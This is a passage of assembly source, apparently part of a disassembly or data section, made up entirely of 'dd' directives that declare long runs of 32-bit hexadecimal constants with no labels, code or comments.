dd 1E0325B8h, 0BAF0A797h, 0E2003D15h, 7CC56112h, 50B22C88h
dd 2F6FDCB5h, 81C5B87h, 3717D4BCh, 42295001h, 76F549F3h
dd 1DC0DDE8h, 403396D9h, 17B2658h, 0F0413A0h, 0BBF79221h
dd 0FE475CB1h, 0DA09A135h, 83AE00E1h, 7B6D7721h, 20EB0726h
dd 47E47BB8h, 71DC9347h, 0D6F88FC8h, 0FD364500h, 31C01E7Ah
dd 0D24100E6h, 77A827CDh, 545E33FBh, 0B87B8CE8h, 73B20059h
dd 3B2F96C8h, 375BA50h, 0D82E451Eh, 4A8500F9h, 54F1246Eh
dd 34570913h, 7CC18E02h, 142CBBh, 9952CA84h, 0C48179h
dd 8A619B65h, 0F8156FD1h, 7E2DCE30h, 11E97B4h, 0F2EEB3BBh
dd 0E8BF9D24h, 2100B9D8h, 67023609h, 2706DD5h, 2003F464h
dd 0F4D839BEh, 79722802h, 68A2CB2Ch, 0DBEFC8h, 0D49771DDh
dd 6BC469CEh, 782F7703h, 0F0965970h, 7967BA14h, 0B473C0h
dd 0A5122DA8h, 0F7EFC30Eh, 33687107h, 66B0D790h, 3B53C73h
dd 8DA0C7C4h, 4598F0C5h, 0C6006421h, 91A89829h, 28265B2h
dd 32DE0E2Bh, 26E0C9D1h, 0C703BB73h, 6A156B71h, 0B560A8E8h
dd 0B4DE03E4h, 0A2F022Dh, 9DD6F6E0h, 28F9C201h, 0AEAACF17h
dd 3167D886h, 3E01200Fh, 0B6F0C29Eh, 0B960E99Dh, 53A20E2Ch
dd 1E92360Ah, 3C521E64h, 0BD9DEB87h, 31187ACh, 28122E80h
dd 0D200F131h, 5CC31FFDh, 0F77C000Dh, 0AC7DCE63h, 0AD98EC57h
dd 70AA5F03h, 711168Bh, 482C8039h, 0D0B0B4E8h, 73283474h
dd 4C00BCAAh, 0C19DDE8Eh, 0B06EEA12h, 20A3100Fh, 0E5CC54Ch
dd 3B43009Ch, 88A4C2ABh, 12B8DD9Dh, 0A8A25433h, 728EF8B6h
dd 0C7E007CFh, 90A3380Dh, 46A60510h, 5DB7F917h, 0AFD9C80Fh
dd 0FF1D6085h, 3C6EB44h, 0CA46C77h, 900469C9h, 972EE10Ah
dd 0FCAAD8BCh, 0B2A00F9h, 1FF7DC8Bh, 1100B4D5h, 566E9106h
dd 1C7566C7h, 9F41B23Dh, 0E31E7C15h, 0E8B1D7Ch, 3981037Dh
dd 0E8890B63h, 8D3C1E48h, 0EAC5CAFh, 830658DEh, 0C02009C9h
dd 93FEDDh, 465B64Dh, 0B5C9A47h, 6800DCF8h, 0AE43AF5h
dd 1EC74311h, 45667E5Ah, 30B5079Dh, 422C0C58h, 0EEB610C0h
dd 1544FD2h, 609A9190h, 0CEEB0A8Eh, 470C9C40h, 0DA984D03h
dd 21F173B5h, 27086529h, 882B90A9h, 225944D9h, 81F11DCh
dd 0E5E74544h, 0C367119Bh, 114E0311h, 0C112E670h, 92512882h
dd 141CD725h, 1528E511h, 0BC442228h, 8F3C3B50h, 8409E444h
dd 42BD4B22h, 141628AFh, 229FFD22h, 0C28397ADh, 0FD272911h
dd 5308F121h, 84A790C6h, 0C548F34Eh, 0E8EEFF80h, 0E2366Fh
dd 4F696377h, 448FD54Ah, 0C7C55A00h, 14B4A7B5h, 25451F9Eh
dd 96AC097h, 43A6FEC3h, 0E3ECEF0Bh, 0F26403AFh, 84B5D0CDh
dd 0E25C1E75h, 4595401Dh, 6DBDEF33h, 0F4909B00h, 0DC8AADFh
dd 8EBA00DDh, 63B20A57h, 2201EA1Eh, 24B5190Ch, 35C48636h
dd 0D7F80Eh, 88849A82h, 2793FD76h, 0F6EDAA00h, 4D2D10D1h
dd 89A40025h, 0CDF049A3h, 5A70615Eh, 734D649h, 79ECF1D1h
dd 24353820h, 0EBB907A6h, 70B1A79Eh, 0C415B8A4h, 0FCAE7326h
dd 40962500h, 83414677h, 18B8A1C3h, 4F008358h, 0F35C676Ah
dd 15BA9C7h, 3E6665F7h, 0D5F4F5AAh, 0E2888B91h, 0EB8A3F0h
dd 64E08020h, 775F0075h, 865D85F8h, 0C9006954h, 0CCCAEF31h
dd 7B8FC533h, 0C4BD0317h
dd 4F7491BEh, 0A06740E0h, 3102A0B0h, 0B165EA1h, 43988F49h
dd 0C89A978Fh, 6A244Dh, 0C470A57Bh, 0DD1C9DF9h, 9C000174h
dd 110BBAEEh, 307314h, 461948F4h, 1589E70Eh, 6D6F100h
dd 7EA3CEB8h, 586F698h, 0F4744C9Fh, 0B9C007Ch, 3A6BFCF3h
dd 0F1BDE1Dh, 0F9363B40h, 8638A0h, 8BB1B3E9h, 199A20E0h
dd 4E0793E2h, 0FAC71556h, 0E8F33711h, 228B3D8h, 0AC19F699h
dd 0C408581h, 5E0079E6h, 4AB83F94h, 70A94620h, 12E400C6h
dd 0C4D807D6h, 7A0742FFh, 47E99E5Fh, 7FDBBEF0h, 0DA72A3h
dd 1C1ED557h, 3B389F07h, 5F96207h, 55D04AFCh, 788D11DFh
dd 3DEC053Ah, 208E5B96h, 28E272C4h, 65080E1Fh, 6926B500h
dd 121C4Bh, 0E53D2C3Bh, 55852F84h, 0ED27D501h, 0B82D96ADh
dd 0DA860421h, 112C1C92h, 636FCD00h, 0E4D99384h, 2FDE0444h
dd 80BB4CE2h, 2EBF752Ch, 0E11D8F25h, 84247924h, 0A4E900D8h
dd 4AFD855Fh, 6C000711h, 8ED0103Dh, 740919h, 6F3F171h
dd 76D82043h, 4184521Bh, 0D05ED310h, 2608F705h, 17E791h
dd 6C04D592h, 94CD29Ch, 0D99000E7h, 0AD36207Ah, 10680048h
dd 38A2CBCEh, 270003BCh, 93D902DBh, 372095h, 5470A6B5h
dd 7891D1A4h, 99741500h, 0BB56D271h, 0F5ED070Ch, 90C1399Fh
dd 57B7D94Ah, 0ABC29B00h, 362B7CE0h, 0F10A12B3h, 0FF300092h
dd 0DA2818CEh, 0FBDF8100h, 96769B8Eh, 880E3A32h, 0C490A738h
dd 87DB0079h, 0EE0ABBADh, 3DA001CBh, 7109260Ch, 4134244Fh
dd 0B0F07B0Fh, 65E9618Ah, 4032465Dh, 0F8C9070Eh, 0F5603A2Eh
dd 751AE9C5h, 308648h, 952E2AB6h, 1DE6593Fh, 8789A6h, 0B2E93B9Fh
dd 73000316h, 0DBCECDEh, 1DAEF0Fh, 822A44C1h, 80834C3Ah
dd 5E4B3406h, 7CB027h, 24221D41h, 0FFCF187Dh, 1EBC1248h
dd 2686E5FBh, 3E101303h, 0DA0951A7h, 800B8ADh, 4AB45464h
dd 0B3C88450h, 5C333012h, 1958E000h, 4FE1DA3Ah, 53A8D0A7h
dd 7DEC7594h, 6CA4CCA0h, 0F005393Ah, 8A6DD900h, 3F5D4EF4h
dd 33E90091h, 0CA1AD436h, 420390A4h, 20C088F2h, 0A3885010h
dd 22F00029h, 67F3F4E6h, 0CE00A594h, 37CF3B88h, 1C855C2Dh
dd 0C12F38DAh, 222C1848h, 3371CC28h, 0D8244B0Fh, 5E72C383h
dd 755C800Eh, 0C8BE2D7h, 5A70671Dh, 0E200AB10h, 0EF1F3827h
dd 24FEBE04h, 1F443565h, 81803B3Eh, 52F3767Eh, 95005692h
dd 8762D82Bh, 28DE15h, 0D4FA3EBFh, 50A4C65Dh, 0B229EA07h
dd 94C13A88h, 802BDA23h, 822B5C64h, 5102CC00h, 3FB73710h
dd 87E839h, 0AB13E476h, 0E5BE0555h, 89368500h, 84D93B42h
dd 0D4F6098Ah, 0C48F33DCh, 3C43C2E0h, 344C4ED0h, 5AA00769h
dd 0CA7035DDh, 1190Dh, 23EEE286h, 4E32693Bh, 4B0095ECh
dd 1543B23Ah, 0F8E0C0h, 773F0586h, 0AC42E525h, 0DE8B2709h
dd 0AA2010B2h, 824505EBh, 195BD47h, 2641D3E4h, 860B7F52h
dd 0A6418738h, 45DFA3E1h, 35506E82h, 0C402B89h, 84021342h
dd 0CC3D7E3Ah, 0EBE8A00Fh, 41B915h, 8F587D44h, 5BCF98CAh
dd 3E002276h, 0A8C19B10h, 268402h, 0C8133130h, 0DCB1CFFDh
dd 3376B3Dh, 2EACDFD6h, 8B509F38h, 0DDE33h, 819E58D7h
dd 0D0174FBDh, 8600F870h, 4152438Ch, 486AA4CCh, 9801B0C2h
dd 0E7698B08h, 0CF5FF491h, 8063C038h, 6897CBEFh, 7FF4E3Bh
dd 0CA5C2931h, 0D9A1AF02h, 0E87FB3D8h, 8C00FDAFh, 12A69FBAh
dd 0D1D249h, 86AED5CFh, 7478EBB3h, 4FF8700Fh, 41112024h
dd 299B530h, 3CFBEAF7h, 0DE60ADBDh, 1E01195Ch, 2EC0FE6Eh
dd 0CBE09783h, 3E420F61h, 0AE00ACCFh, 9FE1C3F2h, 0CD0011EEh
dd 0F21FC88h, 0F252747Ch, 4F2000CAh, 622CBC9Bh, 0B1F42F3Fh
dd 8019053Dh, 0EA171C81h, 0E64002h, 0EC5529C1h, 7B902DA5h
dd 56892800h, 3F135FB2h, 8C5E288Eh, 736A3BDDh, 43A16080h
dd 0A4B788BEh, 0CE14B600h, 0C9703B0Eh, 1179002Ah, 778E962Bh
dd 0D4036A88h, 5956F89h, 0EACAA880h, 2C4E00EFh, 6B73A46Ch
dd 4C78666Eh, 6944E300h, 831C861Eh, 2BEB00BCh, 38B97CA7h
dd 6700915Dh, 0A8E7578Dh, 66E0B7h, 7BBA5956h, 58839E47h
dd 618A7800h, 5ED33F2Eh, 596B067h, 0EF681187h, 0BD5D806Ah
dd 0A4007D76h, 71EAB3BCh, 0E62104Ah, 0F9FD0A51h, 0E100AF97h
dd 585B80CDh, 554900B2h, 0F6074B0h, 400D7FDh, 0A8D4592Fh
dd 3B0CE156h, 82824180h, 90AC9291h, 0D80D089h, 0E63C2053h
dd 13C29D0Ah, 1C87CCB1h, 58702B7Fh, 0FA145E9h, 5E30BA41h
dd 0B31BD340h, 62001F0Fh, 0DF0915C0h, 15A7ECD2h, 0D07F313Ah
dd 745CA503h, 71B03B79h, 0ED019540h, 220D08E2h, 0D8506920h
dd 0AAB646h, 0B4DC41Ah, 2EBB053Ah, 0F030D300h, 0BDCBE25Dh
dd 0E3E60719h, 50A99CA0h, 0FC874F69h, 56383B00h, 26E88B8Fh
dd 0FDDFA1Dh, 0D5F2AEFh, 7423AAE0h, 0FE00360Fh, 0CC04F262h
dd 19AFD0h, 182C2587h, 33111F91h, 0E2EC7E00h, 0BC21AE2Ah
dd 94A100AFh, 0E1251785h, 0F500A734h, 2229CBF3h, 0F8B405DCh
dd 23380075h, 0AFB9896Ch, 0E8065928h, 54E94A6Ah, 55840F7Ah
dd 72231Dh, 0D7628C0h, 6906F038h, 0D7C10B1Ch, 0CC901E88h
dd 3D68803Fh, 0E65FF94Ch, 0CF8012B8h, 6E0B958Fh, 80AB7246h
dd 0FBF41A1h, 0D04709E4h, 0C0207D81h, 0F3633A2Ah, 2795AB3Fh
dd 97EF08Fh, 9C36E154h, 0EA00BC09h, 6556DFCFh, 3082D000h
dd 5D1A02EFh, 84830398h, 0E0E8C5EAh, 0AFBDA800h, 0A9D6D121h
dd 281EF01Ah, 0A0114Eh, 0F607F161h, 0D247677h, 0C77C0206h
dd 3E38F593h, 6B054282h, 803366D3h, 0C8BCAF9Eh, 73F40A00h
dd 68DFCC40h, 0E828FE56h, 0D6AE002Eh, 0BF79643h, 0A600BFA9h
dd 0EE1D22FBh, 784FEh, 0EF98AE49h, 0CF0E3B2Eh, 0E599E900h
dd 1AECF740h, 0A2DB00E1h, 5AA4BC88h, 0D4901016h, 0A7F94100h
dd 555E71D2h, 0D5331C09h, 4072DF0Dh, 0A01417C7h, 23070265h
dd 0D60F5273h, 0BD461320h, 0A57F0101h, 53D721EAh, 6299F4DAh
dd 0F83EC100h, 6A3C0383h, 0A1F1CA4h, 949B80B4h, 0C48AB967h
dd 71C5574Ch, 94CDD5Ch, 61A9A697h, 2822E1FDh, 0D850280Ah
dd 427A00DFh, 9436A95h, 110E0126h, 36C74F03h, 3B28E978h
dd 342088D1h, 0CE08299Eh, 0DC401C0h, 0D705019Dh, 4775CFC8h
dd 50288F60h, 0E86D0F4Eh, 0C35E07E9h, 0C7CA5862h, 80FE07F5h
dd 14AF9EE6h, 57BBAC00h, 0CBD7C888h, 3CDB4459h, 8C006978h
dd 7F7D3204h, 210CF1h, 424F8E1Fh, 63BCD31Dh, 80033A02h
dd 40956675h, 3F555956h, 7E00105Ah, 0FF6D0935h, 300A828h
dd 962CABECh, 89C2E0h, 146F71C8h, 16B361FAh, 4DF2B200h
dd 9497152Bh, 357A04E3h, 0C5DD1242h, 0A6DE004Ch, 793DC46Bh
dd 4554700h, 7AB9DE4Bh, 9E4800B1h, 671EC8CEh, 6D0F19FDh
dd 0A0A170AFh, 9F5068DEh, 0D9050F4Dh, 0D0611EC0h, 0F47CCA8Ah
dd 79F207E3h, 935294A8h, 81054800h, 0CB34336Ch, 5665005Eh
dd 18392177h, 0C7000A40h, 12A75303h, 0CDFD906h, 3D4676A4h
dd 40096311h, 80D1EDD2h, 0F0F37475h, 0A5000D3h, 7CE21949h
dd 9000AF89h, 0E43AF9ADh, 30AB97h, 47FD694Ah, 45FCB9BBh
dd 0D8BFAE1Eh, 39ED5C80h, 0B52E3D36h, 3A894340h, 0DD585400h
dd 0F51DFE7h, 0F29612A1h, 9DD04066h, 8E5A715h, 0A2B81100h
dd 0D0328DCFh, 1DFF0013h, 0C753BFC5h, 4438E62Ch, 22C400BEh
dd 15F5E516h, 0D0EC264Bh, 0F1CE0047h, 7DC3DCEBh, 0F2606C00h
dd 0DE8EA2EDh
dd 3B0116EEh, 4F0C00BCh, 0BEFA542Bh, 0BD00D498h, 0CAF59E4Eh
dd 0F39190D3h, 1F490C70h, 921B9Bh, 0D6BBAFFCh, 48C28469h
dd 0BDD714h, 8AEACD4h, 45269401h, 4E4C76F5h, 520860h, 2579C149h
dd 0C4AF6A57h, 0C49C8648h, 3E00CF4Ch, 0DF7DE4EEh, 0D8776D2Ch
dd 0B8396A1Eh, 0E77B8083h, 0A89AF0B0h, 66373B1Bh, 0C009E803h
dd 80009646h, 2532D01h, 0CDFD51h, 0B7E2DA81h, 0A6FCC029h
dd 0F2111900h, 70D4804Bh, 54BA0914h, 0EB00227Eh, 0BC41F38Fh
dd 0E4516600h, 3C4C835Fh, 0A1F4002Eh, 25FACFD4h, 0FE002339h
dd 0E8B73D21h, 28A556Bh, 0DFC9C60Bh, 80805924h, 0BE798997h
dd 0B1DCA200h, 32568886h, 3257CB8h, 62277826h, 18BED309h
dd 24360500h, 0F48B8A35h, 0A3410E44h, 1760030Fh, 8F30767h
dd 5D068D00h, 0B3BE0BC5h, 0D95520B5h, 0A41E0D00h, 0E1903612h
dd 96301274h, 191C09C2h, 915A4486h, 7342B300h, 9AFCC3C7h
dd 168E03F0h, 60AF7DD3h, 6D820397h, 0CCF7BB80h, 30170F16h
dd 3CC88400h, 7047173h, 0A61AA44Ch, 9F4BD1A7h, 0C67DFC22h
dd 0C9062A00h, 5954E8A2h, 780D000Eh, 848979B9h, 0B7E507Ah
dd 909CE630h, 302B8EBh, 0DF742614h, 0B388AE15h, 17F43BECh
dd 4CFE791Ch, 7C400F52h, 0A57CE15Bh, 0E7222CD3h, 94058050h
dd 5466C02Bh, 1832ED00h, 22047761h, 9E114C89h, 0E0C53800h
dd 6E3583DAh, 6C851500h, 72580F06h, 55AB0770h, 342C26FDh
dd 99DCD1E6h, 326981E2h, 7B564D22h, 1D4DDD0h, 4111ED4Eh
dd 0D38DCA76h, 56C56BD0h, 0CE33E978h, 109A9AAh, 5D223D40h
dd 0F186EF2Ch, 8CB1809Ah, 4EAAABB5h, 0D2931836h, 7461924h
dd 50B35700h, 0B764ECCCh, 0B567166Ah, 46EC60C6h, 0CF18FAB8h
dd 941817DAh, 0C67900EBh, 86F64BF8h, 0F24BDB7h, 0D04AC2Ah
dd 3480DDEAh, 7D8DBB2h, 4EC7B026h, 92B51421h, 0C0A0D508h
dd 0E06D661Dh, 0F3463606h, 739B01Ch, 8617E4F7h, 0E95C90F8h
dd 0DD005AA6h, 160A0FBAh, 0EAD1CAB9h, 9EF86Ah, 518A47Dh
dd 0FC92CD6Bh, 71001475h, 0BF50649h, 90276488h, 0FF44985Fh
dd 3F6C0D8h, 71845F3Ch, 0C7A0EF46h, 6B0049EAh, 0BDB82850h
dd 79D162Bh, 7F31FCAFh, 0C68340B1h, 4225EFB5h, 0B3C2E0DFh
dd 0EE3FEEC2h, 0FC9639AEh, 216AD780h, 1C0A9D9Ch, 9AED0105h
dd 3FC7376Bh, 6DE992F0h, 299F6EB9h, 0F7000DCBh, 0EC676BABh
dd 37BAFA2Ch, 0BD80B837h, 4C83CF8Eh, 7C02E2h, 0A64E24C9h
dd 6364879Ch, 0C412BFFAh, 0B80FC6DEh, 0B79C37Fh, 3775D0EEh
dd 944358BBh, 188C0400h, 73579E81h, 0F60175Ch, 77ED823h
dd 0CF507D52h, 1064Ah, 0FDA869DFh, 0D70F688Ch, 75F0EB00h
dd 1A4377E8h, 7123037Ch, 3ABD950Eh, 57318FE8h, 51823Dh
dd 567E6242h, 0EBB2D8Dh, 0C143F883h, 0B61BDA0h, 100EB4C9h
dd 413CEFB9h, 641408AAh, 5183E0h, 12B61531h, 2195CE0Bh
dd 0DD37800h, 0BBCA4AE4h, 51E8009Ah, 0AA73E084h, 5024D1F5h
dd 0C4818042h, 9FE9BF37h, 2CE89040h, 98A9F4D2h, 9050090Fh
dd 3423A672h, 2800B89Bh, 0EB767FD0h, 2DC846Ah, 0BC2DD57Ch
dd 5C60F218h, 0E8009E41h, 4ABEE0F3h, 7D01F5D1h, 0CA170014h
dd 0F0339505h, 0C49DEB7h, 0E14B07B4h, 843BAF2Bh, 7C90A027h
dd 31CDD1h, 5D8E902Ch, 0EAA4CB57h, 0E5588B61h, 0B820D741h
dd 0C7F2004Bh, 7DD512BDh, 63DA714h, 25E200F9h, 0E18E8670h
dd 7C4459BAh, 607B448h, 13B0C947h, 0C6D398D2h, 41584801h
dd 5F79E150h, 7C8081BBh, 0C566F88h, 63FAD453h, 7A81049h
dd 9A472B37h, 0D5DBF3h, 15899640h, 648F3BAFh, 51CE9109h
dd 43B4C0B7h, 0B3D707E2h, 60081DDCh, 0FFC9C1Ch, 18677300h
dd 198CE090h, 0EFAC0824h, 0D0059BF3h, 0A840A107h, 65CD3A0h
dd 11382631h, 0E080BA34h, 39D2882Dh, 262CAFDAh, 2803B0BBh
dd 0C84C3160h, 0D337ACh, 0D40133C8h, 0EC940DC4h, 0B201DAF2h
dd 0CE15D9E6h, 0F78703h, 34132538h, 0C3CFDDC2h, 0FF3EA703h
dd 72A80E9h, 0C8FAE059h, 0E7072032h, 5925D0E4h, 7FFD81Ch
dd 0D6A67EE8h, 5838D19Eh, 20A2E146h, 70FD218h, 8D9093h
dd 0A87B7365h, 42342C3Fh, 0D0E41384h, 3B260B50h, 0AD475C00h
dd 0C2134817h, 0E6BE00DBh, 0B3ACA9D0h, 59009315h, 1F7A1430h
dd 5C73D711h, 0D200A0E0h, 0C0D03575h, 0A3004647h, 0E128CE07h
dd 0E4E376Fh, 9BC5781Ch, 33305E80h, 8F00A7D8h, 87B3A265h
dd 0FF79970h, 0B59D6D7Fh, 5ED66140h, 0FC005B04h, 9710712Ch
dd 95421Eh, 0F55D54CFh, 862FF7B5h, 8B00FE77h, 0DD30C49Bh
dd 6B020Eh, 0AD1BAF7Fh, 4B614AB6h, 7319D400h, 74C23589h
dd 5DE87EC9h, 46009436h, 8D8E584Eh, 0E774CD60h, 73F4DC15h
dd 0F376189Ch, 0B539AEh, 4C18FAF9h, 0D8E6A84Bh, 0B6659B00h
dd 0FE4E76EDh, 0B0E800DAh, 0A1B37ACCh, 8F1046E0h, 2708217h
dd 88F7A9FFh, 9CA1C9DDh, 830F43h, 12CC0A34h, 884DD03Bh
dd 500A2A8h, 47DED2EDh, 7F35AE5Bh, 3BCD038Dh, 29CBE72Bh
dd 20127FC8h, 0BAB50612h, 43C180Bh, 65C0AC80h, 124A80B9h
dd 1F4D1186h, 2B4B8583h, 0B5ECC3F7h, 5ABC4FB0h, 0F92530Bh
dd 73750080h, 690924h, 0F664110Dh, 0DDAE3E1Ah, 1ECBC002h
dd 83E0347Eh, 0F041CAA4h, 1476068h, 0F1857502h, 0D849C846h
dd 0C400BB2Ch, 0FDBA53CEh, 0F490CDh, 54710FC1h, 0C286C7D7h
dd 0CF28FB03h, 0EA312DC4h, 22B480A3h, 1EC7E417h, 80B5721Dh
dd 618E38ACh, 5F3ACC92h, 22588051h, 94961B01h, 0BE9807C9h
dd 0E1640567h, 0DC352E2Bh, 30283F9h, 0F1CCC3E5h, 42272085h
dd 0D31FC957h, 0C7928ED5h, 5C65DC40h, 988F548Ch, 0B6808024h
dd 24CC00BBh, 61BED3A4h, 0F1488DB1h, 909A03FCh, 0E0786394h
dd 3B96588Ch, 883FBBEBh, 0E6501E0Fh, 0C7B68205h, 0DB39F144h
dd 0CFF0F87Eh, 0F7970F0Eh, 0EE2BA0D1h, 73D703FFh, 19D6A7h
dd 8ECC2E01h, 5051555h, 0DF48BCEEh, 0F0BF8CC0h, 2E3079Ah
dd 437FEAE9h, 48D842ABh, 0D230C9F1h, 5D5C1140h, 58BE1F82h
dd 61DF07E3h, 7033A3E1h, 1157F1F7h, 360DC01Dh, 0FBC1960Fh
dd 514024Eh, 0F24581Fh, 0B353BED2h, 9EB5160h, 2B00F1DBh
dd 0F28DEFECh, 19318EDh, 0A3A0CD5Dh, 0F8C2ACB7h, 0C50025F8h
dd 38697DFDh, 506F173h, 0A89276E1h, 0E3F0C049h, 6D03A4DBh
dd 60D28145h, 0FAF00089h, 66F6CC08h, 0FC0664A5h, 0A27B44C6h
dd 1A791C88h, 0FF8B4556h, 39718045h, 0A80E3437h, 0E004A095h
dd 2A3D94E7h, 68170398h, 0B40B13F6h, 5A00D693h, 0D762BD19h
dd 4F2B2Ah, 38D08951h, 0FB0D29C1h, 0CBB0ED00h, 690A7EEAh
dd 0EC20504Ah, 0A84C0457h, 0B0555E61h, 14A5E16Ch, 989296BEh
dd 0D0C64840h, 7475A9Eh, 9F6252BFh, 8742F22Dh, 0D7D572C0h
dd 78001073h, 2E111980h, 1D7C1556h, 0C0689204h, 0EA5EA863h
dd 0DCB8B525h, 393BC700h, 0ECE576D5h, 9F409F27h, 0F7136026h
dd 7CC4C6EFh, 83404B1h, 0F1CE00DFh, 45B1A210h, 24003127h
dd 39016D11h, 72DE165Dh, 227C006Eh, 0F8508A5Ah, 0A200C048h
dd 0ECCE394Fh, 4C4EB9C4h, 8C0BC0F9h, 408771CCh, 0B10D5012h
dd 832C3204h, 6D005150h, 0A7B879AFh, 0CD1D02B2h, 0DF8C679Bh
dd 95F984A0h, 0CF0329A8h, 0DE85DB77h, 203BF7EEh, 7241819Ch
dd 0AC3007Ch, 88E90DD0h, 60027B1Ch, 9DBEA08h, 14F079h
dd 0AB1D0ABBh, 7D316F8Ah, 0AA85A500h, 0E1B54BCh, 440D00F0h
dd 766C8469h
dd 0C6902BF2h, 745D4100h, 0BF880B95h, 0B8180051h, 52C076FBh
dd 0F00878Ah, 0D210DD72h, 53C9208h, 938C4583h, 1B77C015h
dd 0C01F2988h, 0F400F2C5h, 0A274EDF7h, 0B1830399h, 80F3BC7Ch
dd 0D64650A0h, 0E652AB02h, 0E01B6FC4h, 90F5494h, 7525E34Ah
dd 145658Ah, 0D7C4D5F2h, 340BEDC3h, 0D1023B50h, 0A5CE75EEh
dd 40DAD3h, 9C406C97h, 133033A4h, 3995750Bh, 7E8003A1h
dd 53BDD00Eh, 3FB10B2Bh, 0C0C00650h, 0F93C1211h, 36799F55h
dd 9D43B802h, 0BA7040E8h, 0EF3801DBh, 52687A21h, 61980D1h
dd 129A5F97h, 0E7C00045h, 5BCDB1EEh, 7C0084D2h, 0B4A9AA03h
dd 3DB61A4Bh, 0A0012B9h, 0D2140CF5h, 6200429Eh, 0E6B4724Dh
dd 3E35A6Bh, 0CE111A13h, 88C14B7Fh, 73712002h, 850F85Dh
dd 8017B2F0h, 0AB673605h, 7402EA93h, 99FEE797h, 4B7A60DCh
dd 0C0E6D7h, 20F3D8BDh, 81215A43h, 0B68F730Fh, 9346A133h
dd 0B85017DFh, 2411421Ch, 85EDE4h, 0BBA4BE77h, 1807841Dh
dd 15C6D8Bh, 1903A600h, 853D00C6h, 0CA918A7Eh, 5E00662Ah
dd 53351F24h, 3CDBC8EBh, 90A8EC3Dh, 67B602B8h, 94FB145Fh
dd 3F5C2850h, 55DE1235h, 0C1D18D00h, 9693D4Eh, 4B035EFDh
dd 81145800h, 22077FC6h, 0DDDE6B52h, 4B73473h, 54476240h
dd 0F27AC055h, 0C800271Ch, 4B04D4AAh, 1168003h, 0E69B4347h
dd 0C5703775h, 5FB6C4CFh, 64F17C00h, 69F7EE0Ah, 0C6DF00F8h
dd 2FA0E7D8h, 750E343Dh, 0AB17BB5Eh, 0FFBB00E4h, 1F1550BCh
dd 9B6E730h, 0C581C3DAh, 0E8990A54h, 0EF12CF62h, 9B9F7Fh
dd 0AF329A00h, 0BC9FCA9Ch, 0F4D34907h, 7CE2D45Bh, 50FDC070h
dd 1E3600C4h, 2B244A66h, 0D13AF3ABh, 97250398h, 0B81C65C9h
dd 165CADh, 92453B40h, 35DE7A29h, 32F2A01h, 0AE5EF34Dh
dd 0EAEA4F30h, 28BA07ADh, 94E1F9AAh, 3846C045h, 0CE009724h
dd 0A33C6873h, 0C37E86h, 0A8D658F2h, 0FC7CDF18h, 6B01D900h
dd 8172C963h, 2B7357h, 229C87E5h, 0DDB5130Ch, 177AD800h
dd 84567CCCh, 6B91F62h, 0E5B38091h, 0D5DD2107h, 7B82C8C7h
dd 0D0E37FF3h, 3F811FBh, 0E6A907F3h, 65C85C34h, 0A61B6103h
dd 0C8214152h, 1D3608h, 1989D810h, 2514D3BBh, 1270DD00h
dd 290AEA60h, 971358B9h, 28E6A800h, 9F7B1F1Ah, 697E910Fh
dd 0B0DE4047h, 0C090C221h, 46D1C880h, 572F80Ch, 3F45530Eh
dd 51968043h, 0B29344h, 0CC571897h, 0B450D855h, 0BA31CE00h
dd 0F202956Bh, 1DC80AB7h, 9D0C259h, 67808D3Dh, 575817D6h
dd 0D0FB300h, 0CA1536DDh, 7310782Ch, 4AEC00A2h, 0D6A0331Dh
dd 7F0020B1h, 667DC38Ah, 1CDB850Ch, 0A6C99E80h, 87DD0051h
dd 3C096905h, 0E3F0C700h, 9B3122D7h, 0B502846h, 0DE9400E8h
dd 3B74F813h, 0CA00C99Ah, 22D6C1AEh, 0E5877C2h, 5E4BEF65h
dd 8D8E8440h, 6700E26Bh, 9916FF9Bh, 18E836F4h, 0D84855FAh
dd 54009642h, 0C7808BD4h, 0CC6E1E9h, 0A358FBE6h, 7A003D20h
dd 0A60899D0h, 0A013B4BBh, 1DD65A80h, 81CEDC8Ah, 6F1ACF9Ah
dd 0AA95F455h, 8600F3E8h, 17E72BFDh, 3E1FD3C6h, 2100D971h
dd 2758DD04h, 4207F7B6h, 952D3B51h, 8C1D4890h, 32EC00B7h
dd 0D0756A6h, 4F009B0Ah, 370499A0h, 40283Dh, 644E59E5h
dd 6E8736EDh, 0C95A7600h, 3B9E173Ch, 3207016Ah, 1CD58E38h
dd 2D91E4FFh, 2C83330Eh, 22C9C42Fh, 90419098h, 0F190A884h
dd 324A0F63h, 944EFE51h, 469F71C0h, 3AF2EA92h, 59D3B400h
dd 339CA48Eh, 7DD00ABh, 0D94E6CF5h, 7A0037C0h, 3039C994h
dd 0E325A7h, 2762CBD3h, 0DB937582h, 0B1009BE6h, 0DD670A41h
dd 1D219EA9h, 0DD7B7A07h, 0D0351852h, 0EF07E77Fh, 5FCFAC41h
dd 0C123BEC0h, 0AF9AC019h, 60910DA4h, 0FD26CD00h, 3686AC5Ah
dd 0BDCE006Ah, 0F48365B0h, 6900D86Bh, 0E9D46F6Eh, 1CB7BFh
dd 18222B0Eh, 0E7931A45h, 9DE80A00h, 1BC87182h, 0F8F900E3h
dd 63AFB8EDh, 0E6600D3Ah, 5DD23E76h, 0B40702DEh, 0DA24F287h
dd 0AEE35460h, 0D038EA0Eh, 63340BAh, 0EE581663h, 3E520020h
dd 7D30C6F2h, 4C9A7132h, 68008DFCh, 778072DBh, 30613BBDh
dd 1680979Dh, 0BFF0D84Bh, 7E00E6B0h, 0E6DA4A11h, 0FE6B17F4h
dd 69C500E3h, 2C79B595h, 30982901h, 23212501h, 0A2AF330Fh
dd 3D0020B9h, 0DC7FFB70h, 3E0CB54Dh, 80DFF6B2h, 456A3498h
dd 3280EF29h, 60828BCEh, 0F9012106h, 7700A841h, 0E44EE886h
dd 4CBD4355h, 0BC009074h, 1388987h, 3E1D7362h, 0D25230C9h
dd 7D44B800h, 50461210h, 86FD48DCh, 25DD7F00h, 439C7528h
dd 22BB0E47h, 5E04E1FEh, 0F54007A1h, 0F179859Bh, 0C3C09C1Dh
dd 0E3AED92Eh, 4AB900D1h, 0F7E67CE9h, 244E2FEAh, 4D00C0BCh
dd 0FACC8F09h, 7918B64Eh, 27E13261h, 0A5DE0788h, 581B9493h
dd 0CA54ED00h, 746D03Eh, 0E245622Bh, 749DA02Eh, 0C091C47h
dd 25A1D6h, 0D83A76F8h, 0DC801C9h, 0D959FC60h, 0ED798852h
dd 0E32B014Eh, 0D985BE33h, 81A1D512h, 777D6A69h, 5430E9E7h
dd 32D70369h, 614C23DFh, 106FAFB8h, 9436400h, 76118D20h
dd 0E5DB00DCh, 0CA4956Ah, 3F006233h, 343E64FAh, 0DD19C3h
dd 9CA17174h, 5C11F4BAh, 0FDE60E04h, 0ECC0B576h, 1949A13h
